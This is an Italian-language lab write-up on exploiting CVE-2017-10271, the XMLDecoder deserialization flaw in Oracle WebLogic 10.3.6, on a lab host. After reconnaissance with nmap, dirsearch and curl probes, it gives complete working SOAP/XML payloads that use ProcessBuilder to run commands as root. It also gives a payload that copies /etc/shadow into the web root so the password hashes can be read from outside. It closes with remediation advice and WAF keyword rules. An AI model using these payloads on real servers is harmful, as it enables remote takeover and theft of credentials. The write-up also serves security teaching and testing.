LAB 2 - CVE-2017-10271: Writeup sulla deserializzazione XMLDecoder di WebLogic

I. Analisi del Sistema

Analisi dei Log di Sistema

• Servizio Rilevato: Oracle WebLogic Server (AdminServer appartenente a base_domain in esecuzione in Development Mode).
• Porta di Connessione: 7001.
• Protocolli Supportati: http, t3, iiop, ldap, snmp.
• Valutazione della Superficie d'Attacco:
  • Il servizio espone il protocollo t3 sulla porta 7001. Questa configurazione predefinita comporta un rischio elevato se la versione di WebLogic non è aggiornata con patch relative a vulnerabilità di deserializzazione di oggetti Java via RMI (Remote Method Invocation).
  • L'interfaccia della console di amministrazione web è in esecuzione sul protocollo http sulla porta 7001, rendendola suscettibile a scansioni di directory per endpoint sensibili come /console/login/LoginForm.jsp.

Una volta identificate le porte aperte del bersaglio, useremo nmap per scansionare la porta e determinare il servizio in esecuzione.

Pertanto, il bersaglio esegue un servizio HTTP con la versione Oracle WebLogic Server 10.3.6.0 - un noto application server Java enterprise famoso per una serie di CVE critiche (come deserializzazione e auth bypass). Tuttavia, queste informazioni da sole non bastano per concludere a quale specifica vulnerabilità il sistema sia esposto. Dobbiamo analizzare più a fondo i componenti dei servizi web associati.

Procederemo a identificare i suoi endpoint sensibili usando lo strumento dirsearch. Poiché WebLogic gira sulla piattaforma Java, i file .jsp e .xml sono i target più sensibili. Ci concentreremo sugli endpoint che restituiscono un codice di stato 200.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

• /console/login/LoginForm.jsp: Il portale di accesso all'interfaccia web della Admin Console di WebLogic. È un target importante per scenari di brute-force su credenziali predefinite o vulnerabilità di bypass dell'autenticazione (come CVE-2020-14882).
• /bea_wls_internal/: La directory predefinita delle applicazioni web interne di WebLogic Server. Questo componente consente l'accesso e l'interazione con file statici di sistema.
• /wls-wsat/CoordinatorPortType: Questa è la scoperta più critica. La presenza di questo percorso con codice di stato 200 OK conferma che il componente Web Services Atomic Transactions (wls-wsat) è abilitato e pronto a ricevere dati.
• /uddiexplorer e /uddi/uddilistener: Questo è il componente UDDI Explorer (Universal Description, Discovery, and Integration) integrato di default in WebLogic Server per gestire e registrare i Web Services. Questo componente è estremamente famoso per la vulnerabilità SSRF (Server-Side Request Forgery) - CVE-2014-4210. Un attaccante può sfruttare l'interfaccia pubblica di ricerca del registro UDDI all'endpoint /uddiexplorer/SearchPublicRegistries.jsp per forzare il server WebLogic a inviare richieste HTTP arbitrarie alla rete interna backend.

⇒ Riflessione: La coesistenza di /wls-wsat (rischio RCE tramite XMLDecoder) e /uddiexplorer (rischio SSRF) indica che la superficie d'attacco di questo server WebLogic è estremamente ampia.

Dopo aver identificato due superfici d'attacco indipendenti coesistenti sul server WebLogic 10.3.6.0, analizziamo le due direzioni:

1. Vulnerabilità SSRF (CVE-2014-4210) su /uddiexplorer:
   • Impatto Medio: Consente di inviare richieste HTTP indirette dal server per scansionare porte nella rete LAN o interagire con servizi interni (come Redis).
   • Limitazioni: Non garantisce direttamente il controllo a livello di sistema operativo (OS Level). L'escalation da SSRF a RCE dipende fortemente dalla presenza di altri servizi configurati in modo errato nella rete interna.
2. Vulnerabilità di Deserializzazione XMLDecoder (CVE-2017-10271) su /wls-wsat:
   • Impatto: Critico. Consente l'esecuzione arbitraria di codice in remoto (RCE) direttamente sul server con i privilegi del processo in esecuzione.

⇒ Decisione: Nel modello della Cyber Attack Chain, la RCE è sempre l'obiettivo finale perché fornisce un controllo diretto e completo del sistema (Full System Compromise). Una volta ottenuta la capacità di RCE, sfruttare l'SSRF tramite l'applicazione UDDI diventa ridondante. Questo perché da una shell RCE possiamo effettuare attivamente query alla rete interna in modo diretto, flessibile e più potente (usando comandi di sistema come curl, wget) senza essere limitati dai parametri dell'interfaccia UDDI.

Pertanto, in termini di logica di priorità dello sfruttamento, decidiamo di escludere il percorso secondario (SSRF su /uddiexplorer) e concentrarci interamente sulla ricerca: Remote Code Execution (RCE) tramite la vulnerabilità di deserializzazione XMLDecoder su /wls-wsat/CoordinatorPortType.

Analisi e Test del Meccanismo della Vulnerabilità

La vulnerabilità alla radice di CVE-2017-10271 si verifica perché la classe WorkContextXmlInputAdapter di WebLogic utilizza l'oggetto java.beans.XMLDecoder per analizzare i dati nel tag <work:WorkContext>. Di default, questa classe XMLDecoder istanzia automaticamente qualsiasi classe Java definita sotto forma di tag XML. Da qui, eseguiamo una verifica basata sull'interazione comportamentale passo-passo con il sistema.

Per verificare rapidamente lo stato attivo effettivo di questo servlet, inviare una normale richiesta di sondaggio HTTP GET:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

La risposta restituisce HTTP/1.1 200 OK insieme alla classe di implementazione CoordinatorPortTypePortImpl, confermando che il servlet è stato caricato correttamente nella memoria della JVM.

Verifica dell'Elaborazione dei Dati POST

Poiché i servlet dei Web Services sono progettati per elaborare dati XML SOAP tramite il metodo POST, eseguiamo test comparativi con due richieste POST per dimostrare il pipeline di elaborazione dati del sistema:

1. Richiesta POST SOAP Standard

Inviiamo un Envelope XML SOAP standard (con namespace completi ma senza contenuto esecutivo) per testare la normale capacità di parsing del parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

• Risultato: Il sistema attraversa il parser senza problemi e segnala un errore solo al livello della logica di servizio backend (Cannot find dispatch method).

Analisi:

Il server dispone di un lettore XML funzionante sulla porta POST, pronto a ricevere e decodificare l'intera struttura ad albero XML inviata dall'utente. Questo conferma che il flusso di dati dal client fino in profondità nella memoria di WebLogic è pienamente operativo.

2. Richiesta POST XML Malformata

Successivamente, rompiamo intenzionalmente la struttura XML (ad esempio, namespace mancanti) per osservare il meccanismo di gestione delle eccezioni del parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

• Risultato: Restituisce l'eccezione com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".

Analisi:

1. Ogni carattere, ogni tag XML nel Body del pacchetto POST viene passato direttamente al parser XML Java di livello più basso all'interno della JVM (com.ctc.wstx) per l'analisi.
2. Il sistema non ha alcun checkpoint, filtro o Web Application Firewall (WAF) intermedio per filtrare i dati in ingresso. Se esistesse un filtro, il pacchetto sarebbe stato bloccato dall'inizio invece di penetrare in profondità nel layer del parser Java e generare un errore di sistema come questo.

Conclusione

La combinazione dei risultati sperimentali pratici e dell'analisi dell'architettura di sistema—dal servlet wls-wsat che riceve pacchetti grezzi tramite la porta POST, all'assenza di WAF/Filtro di Sanità a livello di Parser, fino alla restituzione diretta di errori grezzi del lettore XML Java—conferma che il server esegue una struttura di servizi estremamente sensibile che ricade direttamente nell'ambito di CVE-2017-10271 (Deserializzazione XMLDecoder).

Poiché il meccanismo di parsing predefinito di XMLDecoder non dispone di filtri di controllo delle classi, il server che riceve dati POST grezzi senza sanitizzazione è la porta perfetta che ci consente di progettare payload in grado di invocare direttamente gli oggetti di esecuzione di sistema Java nel passaggio successivo.

II. EXPLOIT

Ideazione della Costruzione Manuale del Payload

Poiché il server WebLogic 10.3.6.0 gira su un ambiente Java datato e non applica filtri rigidi sul controllo delle classi per XMLDecoder, un attaccante può iniettare direttamente oggetti Java eseguibili.

La classe standard per eseguire comandi in Java è java.lang.ProcessBuilder. Procediamo a mappare questa logica di inizializzazione degli oggetti Java in un formato XML compatibile con XMLDecoder:

• Dichiarazione di inizializzazione della classe: <void class="java.lang.ProcessBuilder">
• Definire un array di stringhe di parametri contenente il comando da eseguire: <array class="java.lang.String" length="3">
• Attivare il metodo di esecuzione: <void method="start"/>

Bypass della RCE Cieca (Blind RCE)

Quando un comando di sistema viene eseguito tramite ProcessBuilder, il server WebLogic esegue il comando in background sul sistema operativo e restituisce solo un codice di errore HTTP 500 (non stampa l'output del comando direttamente nella risposta HTTP). Questo meccanismo è chiamato Web Application Mapping — tutti i web server operano in questo modo. La directory war/ è la Document Root di quell'applicazione. Qualsiasi file situato in war/ può essere accessibile tramite un URL breve.

⇒ Per bypassare la Blind RCE, dobbiamo trovare il percorso fisico—poiché il comando id > ... viene eseguito sul sistema operativo, richiede il percorso reale.

Analisi White-box per Trovare la Directory /war

Per trovare il percorso fisico effettivo dell'applicazione bea_wls_internal caricata all'interno del container, eseguiamo una query di ricerca di sistema direttamente dalla macchina host:

Risultati

• /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (File originale della libreria archivio).
• /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Directory attiva dell'applicazione decompressa nella partizione temporanea _WL_internal di AdminServer). Scendendo in profondità in questa directory attiva, individuiamo la sottodirectory contenente i file statici: /9j4dqk/war/. Questa è la directory Web Root assoluta dell'applicazione, dove l'attaccante ha i permessi di scrittura per scrivere file statici e visualizzare i risultati dell'esecuzione della RCE.

Riflessione: Progettare un comando per reindirizzare l'output di id in un file statico rce.txt nella directory sopra indicata: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Creazione del Payload Exploit XMLDecoder

Dall'analisi precedente, sappiamo che la classe XMLDecoder di Java istanzia ed esegue automaticamente qualsiasi oggetto definito sotto forma di tag XML. Per chiamare comandi del sistema operativo in Java, la classe standard è java.lang.ProcessBuilder.

Il processo di mappatura dal codice Java equivalente alla struttura XML di XMLDecoder:

Codice Java Equivalente:

String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Mappatura ai tag XML di XMLDecoder:

Creare il file exploit.xml sulla macchina Kali Linux contenente la struttura SOAP completa:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Dalla macchina Kali Linux, inviare il file XML contenente il payload exploit all'endpoint bersaglio:

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

Verifica dei Risultati della RCE

Accedere al file statico rce.txt appena creato nella directory Web Root:

curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Sfruttamento RCE riuscito. Il risultato del comando id conferma che il processo WebLogic è in esecuzione con privilegi root.

III. POST-EXPLOITATION

Verifica dei Privilegi

Il risultato dell'esecuzione del comando id restituisce uid=0(root). Questo dimostra che il processo WebLogic Server è in esecuzione direttamente con i più alti privilegi root del sistema operativo. L'attaccante ha il pieno controllo del sistema senza bisogno di ulteriori passaggi di Privilege Escalation.

Raccolta di Dati Sensibili

Un attaccante può facilmente leggere file di sistema sensibili come /etc/shadow. Creiamo il file exploit_shadow.xml e lo inviamo tramite il payload XML in modo che il server WebLogic lo esegua automaticamente. Questo ordina al server di leggere il file e di dirigerlo nella directory Document root così che possa essere accessibile dall'URL esterno.

cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Quindi, inviare il payload e leggere il file dall'esterno:

curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

L'intero elenco degli account di sistema insieme agli hash delle password viene completamente divulgato.

Reverse Shell

Poiché il container gira in un ambiente di rete interna isolata (NAT/Bridge dell'host Docker), stabilire una connessione inversa (Reverse Shell) direttamente verso la macchina Kali all'esterno della LAN può incontrare ostacoli di routing. In un ambiente reale (produzione), l'attaccante può tranquillamente impostare una reverse shell se il server dispone di una connessione Internet in uscita.

Tuttavia, la capacità di eseguire codice remoto (RCE) direttamente con privilegi root e la capacità di leggere/scrivere file in modo interattivo tramite la Web Root sono sufficienti per confermare la piena compromissione del sistema.

IV. VALUTAZIONE E RACCOMANDAZIONI

Valutazione del Rischio

La vulnerabilità di deserializzazione XMLDecoder (CVE-2017-10271) su questo sistema WebLogic è valutata al livello di rischio più critico (Critical):

Raccomandazioni per la Risoluzione

Per risolvere completamente questa vulnerabilità di sicurezza critica, gli amministratori devono implementare immediatamente le seguenti misure:

Priorità Urgente (Breve termine):

1. Eliminare o disabilitare il componente wls-wsat: Se il sistema non utilizza le funzionalità Web Services Atomic Transactions (WSAT), procedere a eliminare la cartella wls-wsat.war nel percorso di installazione di WebLogic e riavviare il servizio per rimuovere completamente questa superficie d'attacco.
2. Applicare la Security Patch (Patching): Applicare immediatamente il pacchetto di aggiornamento della sicurezza standalone di Oracle per CVE-2017-10271 oppure aggiornare WebLogic Server a una versione più recente e sicura (la versione 12c o successiva ha sostituito il meccanismo di elaborazione XML con un'alternativa sicura).
3. Ridurre i privilegi di esecuzione del processo: Riconfigurare il servizio WebLogic per farlo girare con un account utente limitato (ad esempio oracle) e non eseguire mai il processo con privilegi root.

Priorità a Lungo Termine (Difesa in Profondità):

1. Distribuire un Web Application Firewall (WAF): Configurare regole sul WAF per rilevare e bloccare le richieste POST verso gli endpoint /wls-wsat/ che contengono tag XML caratteristici di XMLDecoder come <java>, <object>, <void>, <class>, <method>.
2. Configurare la Segmentazione di Rete: Isolare il container WebLogic, bloccare il traffico di rete in uscita non necessario (Outbound connections) per ridurre al minimo il rischio di reverse shell o di download di codice malevolo nel container dall'esterno.